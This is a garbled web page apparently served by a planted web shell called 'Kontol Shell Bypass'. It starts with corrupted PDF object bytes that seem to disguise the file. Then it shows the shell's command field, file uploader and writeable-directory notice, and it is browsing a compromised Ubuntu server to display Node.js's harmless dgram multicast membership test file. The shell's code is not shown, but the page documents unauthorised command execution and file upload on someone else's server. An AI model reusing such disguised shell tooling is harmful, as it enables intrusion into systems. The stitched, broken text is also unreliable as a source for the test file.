%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-dgram-membership.js
'use strict';

const common = require('../common');
const assert = require('assert');
const dgram = require('dgram');
const multicastAddress = '224.0.0.114';

const setup = dgram.createSocket.bind(dgram, { type: 'udp4', reuseAddr: true });

// addMembership() on closed socket should throw
{
  const socket = setup();
  socket.close(common.mustCall(() => {
    assert.throws(() => {
      socket.addMembership(multicastAddress);
    }, {
      code: 'ERR_SOCKET_DGRAM_NOT_RUNNING',
      name: 'Error',
      message: /^Not running$/
    });
  }));
}

// dropMembership() on closed socket should throw
{
  const socket = setup();
  socket.close(common.mustCall(() => {
    assert.throws(() => {
      socket.dropMembership(multicastAddress);
    }, {
      code: 'ERR_SOCKET_DGRAM_NOT_RUNNING',
      name: 'Error',
      message: /^Not running$/
    });
  }));
}

// addMembership() with no argument should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.addMembership();
  }, {
    code: 'ERR_MISSING_ARGS',
    name: 'TypeError',
    message: /^The "multicastAddress" argument must be specified$/
  });
  socket.close();
}

// dropMembership() with no argument should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.dropMembership();
  }, {
    code: 'ERR_MISSING_ARGS',
    name: 'TypeError',
    message: /^The "multicastAddress" argument must be specified$/
  });
  socket.close();
}

// addMembership() with invalid multicast address should throw
{
  const socket = setup();
  assert.throws(() => { socket.addMembership('256.256.256.256'); },
                /^Error: addMembership EINVAL$/);
  socket.close();
}

// dropMembership() with invalid multicast address should throw
{
  const socket = setup();
  assert.throws(() => { socket.dropMembership('256.256.256.256'); },
                /^Error: dropMembership EINVAL$/);
  socket.close();
}

// addSourceSpecificMembership with invalid sourceAddress should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.addSourceSpecificMembership(0, multicastAddress);
  }, {
    code: 'ERR_INVALID_ARG_TYPE',
    message: 'The "sourceAddress" argument must be of type string. ' +
    'Received type number (0)'
  });
  socket.close();
}

// addSourceSpecificMembership with invalid sourceAddress should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.addSourceSpecificMembership(multicastAddress, 0);
  }, {
    code: 'ERR_INVALID_ARG_TYPE',
    message: 'The "groupAddress" argument must be of type string. ' +
    'Received type number (0)'
  });
  socket.close();
}

// addSourceSpecificMembership with invalid groupAddress should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.addSourceSpecificMembership(multicastAddress, '0');
  }, {
    code: 'EINVAL',
    message: 'addSourceSpecificMembership EINVAL'
  });
  socket.close();
}

// dropSourceSpecificMembership with invalid sourceAddress should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.dropSourceSpecificMembership(0, multicastAddress);
  }, {
    code: 'ERR_INVALID_ARG_TYPE',
    message: 'The "sourceAddress" argument must be of type string. ' +
    'Received type number (0)'
  });
  socket.close();
}

// dropSourceSpecificMembership with invalid groupAddress should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.dropSourceSpecificMembership(multicastAddress, 0);
  }, {
    code: 'ERR_INVALID_ARG_TYPE',
    message: 'The "groupAddress" argument must be of type string. ' +
    'Received type number (0)'
  });
  socket.close();
}

// dropSourceSpecificMembership with invalid UDP should throw
{
  const socket = setup();
  assert.throws(() => {
    socket.dropSourceSpecificMembership(multicastAddress, '0');
  }, {
    code: 'EINVAL',
    message: 'dropSourceSpecificMembership EINVAL'
  });
  socket.close();
}

Kontol Shell Bypass